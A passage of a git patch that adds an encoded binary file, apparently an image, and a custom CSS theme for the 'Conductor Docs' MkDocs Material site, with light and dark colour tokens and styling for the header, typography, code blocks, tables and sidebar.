z@_+Kn!YjJjesaVV^oW#f66(x5If%IlmTPRXM-!(Lo8QP~#j*{5&Iq<^WnSvagm3@J zcvw@-UV$QqIN-4{ntWH%1d(Ekqi-@-gLm&s|hx9L7h*$%{BQa^RJS zy%=;Sb`qtNceR6{ykq)C8<$!gj<=B8d|6fMQ=`TfMAdc#SNC(0{L~k;Pl4!JXK%g0 zB)Tno4f(9}qU&G@}zX?5@%XJMgevMawBKGA>R@ zZtR=3S>xf~hZP0UjiNt}%(VBcyfAW-UvB$S!RY@rVBK%BtAB1L;7D7NWu7^vzgt`Y zn$>05L9L>48s)Z4BuxIy>D?XjCUTUFmK_=W|J3sJ;!QyJNhf9<*LL;PiBWmGl%!thx! zA%s&Yy78kj75y{J%6;FBf*_{dtqOivlT&2SVka)`{h{oAi_VyIJn1?IrF&5A_*^y& z=Fc%Kr@>S44L>Vw#dOscETs1^oYX{RC|%c_bMf%R8@~9QCguBjion7UOx2#p#qBgr zK1M*4qOC7e_Bl^3kJUo^!+;cqp6mo(%W0KchtLZ)z8;9vTpMZ zLM;8h@?ud-O2$O|<5`%*B~Joxe(Y`^zXh`@4qnRR@l!lzq{cB$3^i!hOyq!d84XIN1KNb?7GPV&0u~U=&F0$LYkW`Ul zn++`ZK~wc}^82xu&bWh*^nQ+cm#$5FqEyj5cCreR|;O;Gv#sR#C-yH5F(rUb2Y~! z858t{0?KW=UrI%vWeV@gfRLAFalhcY%EXF&GMQf*X|c6Ltlm9ho<&pN9H3Os^T|V0 zTa4N%Lf33Pi?V6@E$g~B#jSxLue!cGTwd%1Q#c{FQ@l8@$&I2j6cDS)6=DlTNrRE<}z!MRFXzwNe;JaR?mn@9Mh5Fu{ z`-5G*_cb#*Ft;EV*QfZiTNk76u#B{62L5C&pfF)W-@kd=RIRloLv$`Bde<DhsFvasigsmD34&IxN1#dK;ER(YIT! zD~_SRnOaI&8hUE6>BcCT0Tf!dC>u$nTiJ^_i^k|bMpF@VE?wtglGw52wQtK!E*9JK z)Ba{U+^XP#UEO8m#PSbI2*ERC!t*)?I*E@}o)gP?u{5}FzCQi&FpNSu0}mA}SC{Wi zeOuXCm)XcvCE;nL-QcqzavQdrEAl!KL(xIss^Imz;74^~Nfd!5Uu4GzEnfWi>?8iMnVW~y&`74blm%d+4%in6IEeh`qf27jzqQ-vq zZ|b-*{2hk#?>4t_d!hJM?Ql0e;zaaIipjnV$YMmyLX*_z_=g#29?qb?-p$+ka}i|} zS)d}s_iTo2`m<~o2Uq@Pnwz?k<6jm@`!j|mvq2i%#i-?rmX^j5Vx=+PhKy)QB}pzz ze><{o_rpk)-*s!GR#>tfZ&k3X@^|Vz!3N{5%E{tWdUn}wC0bS0^Jmegg>PZW{70$l zWmBfw6W3qOPkDZER~K#yaQdbgBq59yyOocB$gZD{trjmnkGA37aJX71j^nG~W z<$4dc)HR$`(vX9WsQbiEs)$@2dgR=@9cUJO@O8_lmh0ztQcvQZ%44Lg1Aul&n;vWS z8~C}AhUqHz&LcVG{oAZkQ$mJXaN)uaen&5J$2wjt=EQpPoa8a(L>fPluYn{45LYkK zwS`}>S9JU|KwH1KidV?Ph?Lu269L$$$#%6ti^GunJVEuoC?uO2>X0)DT=*-RYR|*k zu?~&JnD}^HIdS`9!KseO#B5l$%l*tZ>cd!vfsVOkDaGDhZo)_iffg^O0os&NF_N!h z{)3)iG6>b{x*{sL>KCcCTxsX_Tt>PgNGtOqBNQpLXz00QE7OF21mnP?A~y~?HanUy z2wdtK#BiVT6FXVKWpTlh-gSuu^y26Cr1aA#LgS)(;6lkH*EL2;fdfm0FSsr*A1y4k z6$93=NK~xRyz$$M)kNOVlQlMxjd{m&n{OqHc*PMt!l^c^AF?cX+z>ABx?;H(FpocG ztT#n{k8CC|BjwwxvmSZ)22#rN)yom{yYtfBTzd^Z+aPG3tr`!m#j;r_i1 z(m^8)wcTEyWq9JEn%(lbS*JdlOZ6+hr3=e6Q}|DDonQq%OcFP}8gP}rW0KvMSZKjQ z1{%J`lEd{qg5_9X1_JiU_+%nT>))h+M|taa+L#XEJdcIagduNQ><+)PJ-$y3*`>)F zIdVMVpA`GgJiYtQR_+z);uAh(mi9g;UwK`bi4Ce8p4PjyEV_nyHvPPujDl? z24Hp%z)TVt_JX5yjezlkQkyS}B(sBzM1fuQ0}6Pi<+WzbA%)!6`z}usJPE|yC{^!= zct;@yT-N{+)p6da6aH(Kj^{V+S0!9DAw=R%RLx{Trh*NYG&#C|7&e+ z0vA=p&)lsw|J^S@#_#MI=^d31vZn2*65NeOXFDDlLnUfzvxiAiHqU6sveuXZsEdf{ zQq$NYNI9o{ZHe+iz8tURocCrarE-#^FLh+Fm5Lq9#It>seU zRS$tyk^)|4xlCaH-tUuVsREN4MjRW#dT!5;o)+zVgPTXU{!(*n!&!%C`e7zcY%oHA zO&IZ#!UyPVFWMcn?roN+n0s{UFC(WFl?EC>5#DtPk$k{~#BZ-hB+$@-A)EhWdp}Y= z8ebdz^MR}w#nZIpbsXc}4SwmS3@^3f1vkphB43V2Y>9bJJyoxN8iuZtAI`30PE2bi zr7uvx+aED5Mhs2$mwBG$47LWaf02kisO53#4h392_-EHLbPWZdP(ZaxyW7>Y1tW`H!;w z9%H@ptsi9+AN?~?(Ft+IJKq{9Y-|SkR@#GGxI|vY3OPglLtf5B4tC29!u~aA_V`;t4w6pana$I!^}An~lCZzw-f<0Lcl`ef{TZiyFzBW=I88 zM^^-~!9Am`2N&Jf?_uum{n6v1?JL(lpEk$lwFa)~X#DKaf=VCz=^wUgzD8L3%qwmM z+0{9&PI9k4vtQNeV_@-ePECGQyRk`?uV4%X^d{ueGeTHU+I8(5QprTygo9!!<<)PF zD#A|yY!EOV{crac@CZ>Obv#Q*Ewuo~fW;p@TZK`_dRxnf#+jL7v~;V#uQrsU1n2N zWzT!@!`KG%+PD12gFBAyT3{?4iqNBomZudJ>=`wNIK`!lInb|Bj$IiWzNr7VtbvWQzu`YeS^bY z8hPZN34VD2(8%#wcP7FTgNAnMh;(DW(L3-~3g$mP8+uItW=h+3Jto*`h?8v)JGPh->=5Ki zOfr@67#QI@!UBkju_8p2#dh+$g6hB*clkoP zc^CC+%EIx|_lv0oUp}P(84w|$xX)`h0;h_s7xF9f+CE8=vxhxKEL0j}RTeEvE;eZ0 z@mX~d9bGRp>C-2#7OoQ^qHDIAQ{lz-`#cn{ca5ho`(xo+Z-z#Fmo|uZ`HO14W0TaF3o-U zL|m)%GPRwfsqh0Se$=Zs_Ai>49x795bx6#|LUF>73DNwY#NhyrkMXH&{@8md?-fMm zd!bTj+or8q;Gztw?cFB@-?H?JsOf+Bk>CGjr14-2j|nRViAHMedTvj4#ZXC*E4S(O zVev`(g|#Q~O0mB?`-o>ZL(s4Z^4m0EnhkO$$hF7tk~X)VV@d^jH)ZHv3T#k^6qarE4d|7Ox>P zpS01<#dXE`D(G^ZRA5|ihJZ7BKwMnNKC1Px;g1_X{uhKKU^UmZW~F0v3hCGNZ8vph z1Mdc@1^Lr#$5+OGns_LJ1stMvu(Z!ARq}FFgBo^lt_fWwV zQ3Ik4&zr4SsPNACVOnBqnVR*>#HYl)imD6je@2(_j4q*K$1_9)VT^DDb=kL@6POS=e5#7j zuSC&QGZe}TIO9ODqO3~Eg`>C*Uqg4>>rqH9fKW2<#Ev&Q;Xyq0wf&zieD4L;wxtF> z`8$zyxtAtc#hNJiH_+5(aC5mWxwQBDM?oyNd&+<(%Exs3LhwwJytdV;rkk3@8gRtYxXWz)t)u%h4dDVd%X2ncPqrgCntGy`IRUB$KxM z*}$Y;8Y?jP9-b}xDqqo6Y^O;{^Io?hiQ3O?K-pc-e6q<&aVsg zyg7S1eCur8G5-8klAZIbVxVTPI}km_sbgms>N+5WnY%rT-^bIaY~?&)e)noJXcxXF znBmRtQGk|0?zDAXLE9$0>RwL+#PdOpYdX2+QiP-6*>-D&t1fgCU4D zUWkKjuv!L0k08+-W7h1h6G1kbRhz=b=R$)O4`%ShB`X@|WvC1~X1-vMxPxGLc;JwX z&@628oc8aJ2~|fYYiX}AP(_39WEY6isi_-StXMS2oDxTk$Fnh>V1*+4k(1>~NW89$ z7%CYeWwt22x%eU>66?^12Syr#jTnkx$RFYf3jQYy$c8X_r0aju#t^ zuk>-jF(k9;1=S5(gX zvYDC{QlRYdphytW4h%($>aFyz1A*b1pEnITCgpSRe=j1e->zDZ;hLwqC^TXNj>M?y!^@e{b7QrFVS7FboBDN2;Kh z*r>Zc8Hk(6m9^^E-^6o7jp{nyK9!6nDDLN?kMMM2d~VA5#2y4ic6AXeV0#wp;XB;go>h ziJViR<}$9)8o!h#cTAjvGwCAZ^!O9KD@q{R?l^b7FzlnL(<~Dnp z#VVwI^_{05^R9tu1*CA%)maN=v!lkMkLSW9(oQ_rqetB|&~o7T+d z9j1%(Zy2MtlU;2i%>H%JgXr2%%hnCwzvj4JVsHI0Gp*}bDYG3_^Y2?1qLT-S3q)qy zM#(H@he|WSQk8Oi3lK2S_+$C55=2WPBnv$f?5IpR5nuE$&f{*;gdj4QQ!j7uOl%h7 z#LJc_@c*?0W?s{QV}e_2RH#D5V6K))08ZX_6U$2kf*<1%E!1y9Dll!1_RiK=WfywMR0^vz3hZ{s*cP&cxsr%VB|@g^=cM zev*I6)(N{JQ?_j0>!$v? zZY^x+$ME^zbP@3ArrTGI5e@EBIyFlHWfTJQ<}?zBtqM%f%hF-fiF!wF(T5u?~~nP0n}jtP=|G_^ko#X#&gk^ zb~cKQvHI+)ukVe}UVj^$>=J;V|yU2#EjWl6+bi?PM!mhoZ8fV2MgrfDQe)5nI zibTL*MUdUQLZ&lG!#dVxm-ODVsMYJ0_%Y+O`=a+t^S9FkgE1h$LJlw`&L`Fiw2OGv0L@DELv!t#aR|7ZWB|ZQ{B(a zn3$;N4Cdbd7VJJ$S+?o7wSd4@Zlh9gaGgG|8|$nZe+wM`c+t2id5-v4)$}Va?D_r) zt*)ew#{fnN0{gNRq*z*En~Lv-%DES{<;>giIk0hJaMW!5nDk_(WiPQdx#Uh9p}|{Sqczn5OPsAP@09gn+_b&3Nx!qRZ&*ST72g>%! zz2w)#?15%JW1j^cjGoO((vXnm%Nn2Lvr4`Avn5<`>nTH3<2V8ov|OtPw?^~QVL;?$ zk=c>;ZISQa(wtTKJ(3|7V6@Kowv+W7nR?=NcjWh*mUfCq%Qx_5d0Y%jMZ#b@eoKiP z_Iu>&+lQ!kF%FT0N}q}0{J~IRapKcDyR)9pQDl22E{He$(L0z@+o;akrJ-94@(6y@mO}6rU+?Nv)g;rUXSPhC+Swg7xh55yy zOS*uugn_VX+s7g)Oj(4A+nepN!;l0ZH16#W9%C%Uj-Gy_dSGLqlZslBN_JElNdO`k zLZhrjur(4JVIdZXdt7JK`>|dnTWJAnx@_%C9!ks{R|($)oYVZs}f1AK&H2y?En& z#-<@EpjJ+274-9BbIiJV`3Wk;5vTuYI_ELN}|97$Ght#F{C6Ujv zFdz%W6I8q^j5*3YDYYKJ2?5i%=|78# zCcgU7mx61suf zfCOIhd+WGE`i;iIm)iJId}%2=3ca@58%|giLS3m}7SwRZWC-4zEmth z+zoZz1m?hw$43jbKF}JFsl66FG1nUF9d>(YL{&bhS&B(I0fth*imvxKC^x=0{_VVY z0+d!PfXne#KZ3hbF|~KP3mh(Rh6aqW+Li*Y@hCjKdXy1)^bkV=Wog%y13K2tt>tad z+7Kiv9sBs@-V}*7ru?(MX9=`T-dHid2{03Us5Q}m=cB#T_+rEHfj8fDZ7=Et=GH-L zMi9=$zq;hy56pz@_5QGyzV>}dcaigk*V;c93!wc4q6wp5bx27EHYoX%&R@BX!}JY< zYQ4Whyp`4ZK!J8;io}S}#Iqwh*EQ2}uJd^%=wsky&?v2KOyXlPBag%k8TU}AR*S8s z9>y}Hs`9Vnu+Ge;gQ_AR^J*T?>v!aO%<{gT>`0kbcRN^>AM2?Fo_UxEoRe3Y$!Fy91Y}RcE-HLIw|WAwcMfPmD11`wKO>$ey89q4d6s3UPR zn#O_qK0YGYOnFBZH;xMuu}ZYoFxpH;D6y1TM@ z)T-@1g_o95%agmZI$_m>DeX{mlS$JdhPsG%tWL%CxhE+=Bk?YkQbF1GSg<6|Gh`P8 z4HCIN*fYxMi_!f8Llj`=4Ob?USs!z(Mm3E=?$0pu_wb?@#mSYqS>*^Rd@Sa;Yz=?b z9bi?Co)~5a)#5+!>&0p(E{k(U;UG=}W|Bwb&b1Zc&S8<-hpj2R986`fWM^3U~ zUPc`u%|dVT>>^!PEq!p`djTcpGNVC1Y3NVLQTy z!R0rxz~#j5n*%}Cg;uyK9mvB4q81#nRE{O>9NQQG^k03#UpgEOTiGBQ_>S|lXt&_q zxb@v86x~7}^XZX>KDZ0OXBzMOT)Dr=h*5Lh!5Z9jK-1Ni%3%kFmw#oV!{G1*uN4n; z)LUu+mg;=tG%U|$c619ApnQ^x`xxiB9rHD+Gej0)+#wNYpQ9Q1*#PqBMY#6JSJqC= zC$ah#vA9FlEAOrgh47=;`_W`8b`|_8`D_eB*`Lp9CN>`67mo59McE7E(4g|ka-BZ) zPC$^70v&TH!okGvF&Q-wUwR?>~!ENP}JA1B>Z#|X^+wt26L9rJ_=Yj)J{tA|?n7rpau z2L6CCwh#0Ni;5|GFm8a%`wdLs4rSE6H`9hjB=1-w@F)ZyTBW>TN|anYu+LwyIc=^L zud!9;8;r0yEE=n0Hp)oXbwto8nZQq%ST3!~%sJbik8X}#kCx%MkhpkLYqHwL3J5cG z^#}W+C*?BRJq?2^oy`^?NLG;^Oi?qawqsqMa}6$2+h5kq_f&hQ%?O$ZwM&xrNjDYWY*k~ z0K_$O3a8CJ&iLY>D;YK*@5W@zZ$%X@U0brQxqX1`c%3O4dOmlW%nYx8TaC_;ZA)m+ zQ~S>6lB^~SlmiKtKUqrym@itdv-q;E zAyrbWpJ{yg<7>TEBHXaheJe5tPYk<`JYZ%%->aOUO;>cq6@iB>tNp*{chdc; zau|d=I{IJx&s1Qmz7Fr*r~wwFyPyL<`Z7IAG;BZQ*GX$9pfLFZi+V}oY;pu3UgH`^ z0IvKZ)~qjnco6D!md8S?$sQou0_2TPxb{aEwN*3;jg_CE(A7vP;KC(?xxx3t)iP}MB6HlLP9?t zML-S@Cyaj#NepYg%0ky}lv6vZlD}7npSBO&G`E?)-|R?PIUWMqP?b~1t|8Mp_^f9jt zr6k=g<{AbN z{#t4)#C@R3Ya7m?w1a;A1V3s})rIq!P7Uw1xt0r-(k>oF<1pFkuXx0O%^-kXWvlB~ z9F`pAj!wxk$^$lHM$I67tev_(f9RdorXpZ9MyM#-+B1AMrT{L z(B`|2UpyG5H@s}IJuId#i2ks#4b!LOa9qF13PknJ+Zlem!EzLk={!_+ym!k+3GgT8 z#ns}YJ1|OWxSK`Aj&Hb(+7XtafTJ62laSIdU*gOz~P2_Rd-bl!M-C4@1r{NUl=L=5C& zx#|M`{y6)&=k~wKJPGnu`)^dsYvaL`=To7WJ54c2Q871OnaiWk>`H#62V0a*;nq$v zc9~vc%+p6cimod+4OKtfW%&SIr3ql7XBy1~tFn)R0$%W9o94&l!xPDKzmQC* zmkuyVzVSS>9ZjUqtv^Y6b*hrhSRX!ti z@cw;sVoX)M-ZX6`{B-pbn)S^zaPUk)jJYb7@zL} z$&@61)OO!ZcN?FHM?7S78WdX85lWI(3#s!oPzB5hxD>K+F$ zoOGv(bebs$a$>nl>nON}>cks=w^ZkzZCk0Ke_G zpE{@u#cr>6RCbsFwOv4UkW*(Wub=vhhyt@0thlCai5B;yAMzj(1AW_`5$~nJZ_Dsy z37&_bH!qCf0ud~iQDx<@UGqt9uNolMNRh0neG>kK&FflUFYWemEq4F_f@%48pls{~ zElm2Ku9z-S?bOjg7%6iBGHY7c`>^`)5)xH1(p_*6X!7#cvI%2*F2kL_Z;CV<{s$xw zYS}my?p^~0n$vhwdIO1+h3Kc_YHma(jSS%3!`+`L6M>}vF>>Pj3puo}5SB#3X_Dg? zvx~JK7JfQ(d_)3dAa}3AgptVew0YViiteq6#eB^DbK|I&q~ag1BnaFCn6NBpO|4W-ofA8h{m07%t@Z64yi=Q6JMe_>vR5L^)RKy_*(c>x-hp*^BCLMxH zja2mr%O#PFiLgFX;gd1~$U>IZfU%cJ#2--jF%d?vU%&^yL5?p=<5|gY)pLm<<$Ly zz(!Xd18994;WnH!i*h;vOcZZ0WV`R}{vTVT$K0M)JoXc5-H(lBsxj5Cf`B@bzU{{Z zpbk^;kJV6Oe=}1)(3yAn9Mh)#bkHtR%|mk2reaK z$;Uc)OFrcKm>&`~8^7_#E4AT4`=i{=c5Q%f@cP}|Kh$blFBbI&56N;!I)1aKG>q^6 zBs!)ZP6s-`>kX&JWKEo!76I5+VbbiE=uBdO51&=ohlUIW;UCo8dzKWIK_PwH8(E&f z=w_;C!aN)ekfUxdTRgSrxdLw%%_i7S^^J2RA3jueZ(pD?364Jqsw!)suvh5YUTF^u zg!5~^vI~O_^;toS83o8n(})JsUUAr>=94O^i#WqDt>g&1IMGMZ`ccz{E@Ny-ecLk5 zv14QbU*AMAGN_)K4nOP$vN)O5glDAO4@`xWO|fD)7QRJ*UnQ-6ehgq{f28yHlGcb;K;u1E7nMKwfM@8CaGM#xVef2 zX*uG_a+kwPBb=RDkE`&t-#4|sm1A5Z=G{7r-^}GVTD|%<_kO=J2#%+xn#&p4uawY+ z@C=?lm|n2x78l{>V}C)*KD)n~mJslVmm#i#GptYWqMm=1HDcHs1j38F`@aB;t={|x$r34I}@jbL&9&0TEY;8T%P&qzGWcp)f_tUEW)1taLVX! zxgLA=bLYsJCGqLX-J`%vvk5W74km`GXGd0<8RQzbQ-<)89mR%8_dK?WY{xbHYJ z`5@0B9Vhn&wu3{_@NbuCqafrzHGGKqkUwi;L{u=ycht#(M_71$s9efHNtO;w1d^52z)>)_M2nYm%0N*#UeFVEv1%4A&_*6mQ@ryTS)NZdz zTZuMQGU6-g{8wCJ-J1Cs3q^@JVhkYAcLZ1%89UlX)#GZMgoacNr$}4PAS%5+tw_4F zW~t{P-CWR=oI#3?28;lNQGMn@AXUUH)kbvH4BC@+181lplqxP5Gz%I52%~1~hd`=< zo3@%kCP}6>$amJ1g%Y{MZ&QbGbZ~|$IvNfF_6pl{&A17HR0B6Q?k6@<jU{0djCSr)zfVUe`r?-Wp(Sg#|B7HxpQU=g4#eZ(2H<1RF$2KZ5yUNu@0d%Rt5$mY4b4;ja5QJSG=QH0`t z_p!n65D>6e^i22~!l*s3A&?qi$mPy8ZB>y_I%JpZ22*i%32#yGRt2(zJA)J*^#K9W zig?|p&xAhEtDHt`*)?R)7k_`f9Ver6MKL)S?_NIjDwGybGB&we`rhIg{sMu4Au!{L z0I(Ig=~r-ZN*x*me5DTugE8v-*ftOt## z8@50owZN5g%6-^~&&i;_)uJ1xm$EHK+glq8rZ}-mzR^<>3rX(*WJ3wWZRrE3#PFqA-;}Y91k4o9GL*Bny8~yF~S5K$j38_E;Z+-sp>7(5^N%pNZyOD{u=`skZ3fQ4Z zD+DgcTlUfzd!EGc*{6SeJlD9h&}xP~yBGq=5yQTG@n%X}QHPGYbJC4Qds5wr`N-E- zmqxVj7XlDGdie!`7FOse>>x6i80tA3Sa0oy{a?End>vpNogG{aGon!dX9S{HlJw^Z;l4ItX zNKc--rK#2c+Ty z1b_e#P=f#jQb(-NR_=UxnyFBVqMv_-+=%S00IjH;AOW!qJzIZsiZoi+;<0v zQ14&?pi3YC1Zp7wfm92w`i-^axmz^@S_JRu_&9gSSk(l_fB+Bx0-YlOfz&a?>_Cv1 z`Rk5{anrqxe%btUK8CjB22S(>1b{$21Ykp|hga>^?BLLwvfd{8hSMK$NsZbQ#RWhB z2mpbW2tY$>31HRBY3uHs+V&}f^#xVNJVIs6svJf;AOHl~A^;7kErJ!Vr`V)%#im-C z?NIsgU)ctRjN4jR0y==eun~ZUB*@>Mc-^f-1SOo;AyaakE9IIbKA@ZJ^OB}2Pbbz~ z_NBI#N&rDrWdtCQDnsR_;p69TPN@LhH*R|K(F>Jzj-unu>tqV&hhqF$vy2nVCEE{+ zTk1YbTen|h>sB|9hC&?#k}xN^6vT&(nCwYrOL%Da!;x1WJ#0@u{d0Z_;grFfdR4~B zII;<4!stJb*&*lc%bkh)#e*J!z(WKekRD>v`4N6-aZWjUn5!w~*Lu<{6MLU7F)Av8zv>lXX@XYG~C#3vHbs0D9#GZ`2j z2&4#D8~qK!2#diN0??3rA-^ zgb{&~0bvv<tBpWYyl*Vj3vR71nb65bp1drT;8`)>X@ zAEQJ_k9imf=@3XgV{}%1baYB&BdbHtc;|;)``x>jJI8*;#;8D`9s&?Z_3%>DI=oEb zYM}24A@<6~@fej}d%`Y|nIZsz)Z>MKExaBxuS?RgMb{;|=(|G%Ador)SEB1QUg?w3 zl&pc@NQ{Ru^ddkv^LwIhOinPorHc;`=p6zONWEj(YJ$l%{D97IZ6!E7tcGaVN1+uB zo46~efIxo`fI#XGuNqVO<%^3638f?0ml{K;<-(bb%>=I8TG# z{jq)NdLur9U{cDUVzMBJit)kOfgk{ZG!RBsodyf0KRy{9U@NaGVjkP2TXW_Z8j(jH zU}#YUAdp1i)-_mWV~WN^6`UWGu!e3(jwL#!M5wei2OE(Rwtx&F1R#)vfYv-rnjgAdu=J7D)SrttmFqK24bg6f!`#;r&Hq%vqeoQ`9DM11NeK4gwHJ z!{KG8GszOUCi^xr`!vvAr-KcsbGpIa(^lMBWbB!ZlT&Cy17a?w;v4}8Boo%ZA0xgu6D4(3Jpcdz07*qoM6N<$f_APyb^rhX literal 0 HcmV?d00001 diff --git a/docs/css/custom.css b/docs/css/custom.css new file mode 100644 index 0000000..fe380a2 --- /dev/null +++ b/docs/css/custom.css @@ -0,0 +1,1625 @@ +/* ========================================================================== + Conductor Docs — Zinc + Orange Theme (Light + Dark) + Inter × IBM Plex Mono + ========================================================================== */ + +@import url('https://fonts.googleapis.com/css2?family=Inter:opsz,wght@14..32,300;14..32,400;14..32,500;14..32,600;14..32,700&family=IBM+Plex+Mono:wght@400;500;600&display=swap'); + +/* ---------- Tokens — Light (default) ---------- */ +:root { + --c-bg: #ffffff; + --c-bg-secondary: #f4f4f5; + --c-bg-tertiary: #e4e4e7; + --c-border: #d4d4d8; + --c-border-dim: #e4e4e7; + --c-text: #09090b; + --c-text-muted: #52525b; + --c-text-dim: #71717a; + --c-accent: #f97316; + --c-accent-hover: #ea580c; + --c-blue: #3b82f6; + --c-green: #22c55e; + --c-header-bg: rgba(255, 255, 255, 0.85); + + --font-body: "Inter", -apple-system, "system-ui", sans-serif; + --font-mono: "IBM Plex Mono", "SF Mono", Menlo, monospace; + + --r-sm: 6px; + --r-md: 8px; + --r-lg: 12px; + --r-xl: 16px; + + --shadow-card: 0 4px 16px rgba(0,0,0,0.06); + --shadow-elevated: 0 12px 40px rgba(0,0,0,0.1); + + /* MkDocs Material overrides */ + --md-primary-fg-color: var(--c-bg); + --md-primary-fg-color--light: var(--c-bg-tertiary); + --md-primary-fg-color--dark: var(--c-bg); + --md-accent-fg-color: var(--c-accent); + --md-typeset-font-size: 0.85rem; + --md-default-bg-color: var(--c-bg); + --md-default-fg-color: var(--c-text); + --md-default-fg-color--light: var(--c-text-muted); + --md-default-fg-color--lighter: var(--c-text-dim); + --md-default-fg-color--lightest: var(--c-border); +} + +/* ---------- Tokens — Dark (slate) ---------- */ +[data-md-color-scheme="slate"] { + --c-bg: #09090b; + --c-bg-secondary: #18181b; + --c-bg-tertiary: #27272a; + --c-border: #3f3f46; + --c-border-dim: #27272a; + --c-text: #fafafa; + --c-text-muted: #a1a1aa; + --c-text-dim: #71717a; + --c-header-bg: rgba(9, 9, 11, 0.85); + + --shadow-card: 0 4px 16px rgba(0,0,0,0.3); + --shadow-elevated: 0 12px 40px rgba(0,0,0,0.4); + + --md-default-bg-color: var(--c-bg); + --md-default-fg-color: var(--c-text); + --md-default-fg-color--light: var(--c-text-muted); + --md-default-fg-color--lighter: var(--c-text-dim); + --md-default-fg-color--lightest: var(--c-border); + --md-typeset-color: var(--c-text-muted); + --md-code-bg-color: var(--c-bg-secondary); + --md-code-fg-color: var(--c-text); + --md-typeset-a-color: var(--c-blue); +} + +/* ---------- Base ---------- */ +body { + font-family: var(--font-body) !important; + color: var(--c-text); + -webkit-font-smoothing: antialiased; + background: var(--c-bg) !important; +} + +/* ---------- Header ---------- */ +.md-header { + background: var(--c-header-bg) !important; + backdrop-filter: blur(12px); + -webkit-backdrop-filter: blur(12px); + color: var(--c-text) !important; + border-bottom: 1px solid var(--c-border); + box-shadow: none !important; +} +.md-header[data-md-state="shadow"] { + box-shadow: 0 1px 8px rgba(0,0,0,0.3) !important; +} +.md-header__title { + font-family: var(--font-body) !important; + font-size: 16px; + font-weight: 600; + color: var(--c-text) !important; +} +.md-logo img { height: 30px !important; } +[data-md-color-scheme="slate"] .md-logo img { + filter: brightness(0) invert(1); +} + +/* Tabs */ +.md-tabs { + background: var(--c-header-bg) !important; + backdrop-filter: blur(12px); + -webkit-backdrop-filter: blur(12px); + border-bottom: 1px solid var(--c-border); +} +.md-tabs__link { + font-family: var(--font-body) !important; + font-size: 14px; + font-weight: 500; + color: var(--c-text-dim) !important; + letter-spacing: 0; + opacity: 1 !important; +} +.md-tabs__link--active, +.md-tabs__link:hover { + color: var(--c-text) !important; +} + +/* ---------- Typography (docs pages) ---------- */ +.md-typeset h1 { + font-family: var(--font-body) !important; + font-weight: 700 !important; + font-size: 28px !important; + color: var(--c-text) !important; + line-height: 1.2; + letter-spacing: -0.02em; + margin-bottom: 10px !important; +} +.md-typeset h2 { + font-family: var(--font-body) !important; + font-weight: 600 !important; + font-size: 22px !important; + color: var(--c-text) !important; + line-height: 1.3; + margin-top: 28px; + margin-bottom: 10px; + padding-bottom: 0; + border-bottom: none; +} +.md-typeset h3 { + font-family: var(--font-body) !important; + font-weight: 600 !important; + font-size: 18px !important; + color: var(--c-text) !important; + margin-top: 24px; + margin-bottom: 8px; +} +.md-typeset h4 { + font-family: var(--font-body) !important; + font-weight: 600 !important; + font-size: 15px !important; + letter-spacing: 0.02em; + color: var(--c-text-muted) !important; + margin-top: 18px; + margin-bottom: 6px; +} +.md-typeset { + line-height: 1.6; + color: var(--c-text-muted); + font-size: 15px; +} +.md-typeset p { + margin-top: 0; + margin-bottom: 12px; +} +.md-typeset ul, +.md-typeset ol { + margin-top: 0; + margin-bottom: 12px; +} +.md-typeset li + li { + margin-top: 3px; +} +.md-typeset a { + color: var(--c-blue); + text-decoration-color: rgba(59, 130, 246, 0.3); + text-underline-offset: 2px; +} +.md-typeset a:hover { + color: #60a5fa; + text-decoration-color: rgba(59, 130, 246, 0.6); +} + +/* Code */ +.md-typeset code { + font-family: var(--font-mono) !important; + background: var(--c-bg-secondary); + color: var(--c-text); + border: 1px solid var(--c-border-dim); + border-radius: var(--r-sm); + padding: 0.08em 0.25em; +} +.md-typeset pre { + border-radius: var(--r-sm) !important; + border: 1px solid var(--c-border-dim); + box-shadow: none; + margin-top: 0.4rem !important; + margin-bottom: 0.65rem !important; +} +.md-typeset pre > code { + font-size: 14px !important; + line-height: 1.5 !important; + background: var(--c-bg-secondary) !important; + color: var(--c-text-muted) !important; + padding: 12px 16px !important; + border-radius: var(--r-sm) !important; + border: none; + letter-spacing: 0 !important; +} +/* Syntax highlighting colors are scoped to [data-md-color-scheme="slate"] at bottom of file. + Light mode uses Material's default syntax theme. */ + +/* Tables */ +.md-typeset table:not([class]) { + border: 1px solid var(--c-border-dim); + border-radius: var(--r-sm); + overflow: hidden; + box-shadow: none; + font-size: 14px; + margin-top: 8px !important; + margin-bottom: 12px !important; +} +.md-typeset table:not([class]) th { + background: var(--c-bg-secondary); + font-weight: 600; + font-size: 12px; + text-transform: uppercase; + letter-spacing: 0.04em; + color: var(--c-text-muted); + border-bottom: 1px solid var(--c-border-dim); + padding: 8px 12px; +} +.md-typeset table:not([class]) td { + border-color: var(--c-border-dim); + padding: 7px 12px; +} +.md-typeset table:not([class]) tbody tr:hover { + background: rgba(255,255,255,0.03); +} + +/* Sidebar */ +.md-sidebar { + background: var(--c-bg) !important; +} +.md-nav__link { + font-size: 13px; + font-family: var(--font-body) !important; + padding: 5px 9px; + line-height: 1.4; + color: var(--c-text-dim) !important; +} +.md-nav__link--active { + color: var(--c-text) !important; + font-weight: 600; +} +.md-nav__item--active > .md-nav__link, +.md-nav__item--active > .md-nav__link:is([for]), +.md-nav__item--nested > .md-nav__link, +label.md-nav__link[for] { + background: transparent !important; + color: var(--c-text-muted) !important; +} +.md-nav__link--active { + background: var(--c-bg-secondary) !important; + border-radius: var(--r-sm); +} +.md-nav__item--section > .md-nav__link { + font-size: 11px; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.04em; + color: var(--c-text-dim) !important; + background: transparent !important; +} +label.md-nav__link { + font-size: 13px; + background: transparent !important; +} +.md-nav__title, +.md-nav__title[for], +.md-nav--primary .md-nav__title, +.md-nav--primary .md-nav__title[for], +.md-nav--lifted > .md-nav__list > .md-nav__item--active > .md-nav__link, +.md-nav--lifted .md-nav__title, +.md-nav--lifted .md-nav[data-md-level="1"] > .md-nav__title, +[data-md-level] > .md-nav__title { + background: transparent !important; + box-shadow: none !important; + color: var(--c-text-dim) !important; + font-size: 11px; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.04em; + padding-left: 10px !important; +} +.md-nav__item .md-nav, +.md-nav--lifted .md-nav, +.md-nav--lifted > .md-nav__list > .md-nav__item--active > .md-nav, +.md-nav[data-md-level="1"], +.md-nav[data-md-level="2"] { + background: transparent !important; +} +.md-nav--lifted > .md-nav__list > .md-nav__item--active > .md-nav__link--index, +.md-nav--lifted > .md-nav__list > .md-nav__item > .md-nav__link { + background: transparent !important; + box-shadow: none !important; +} +.md-nav--lifted > .md-nav__list > 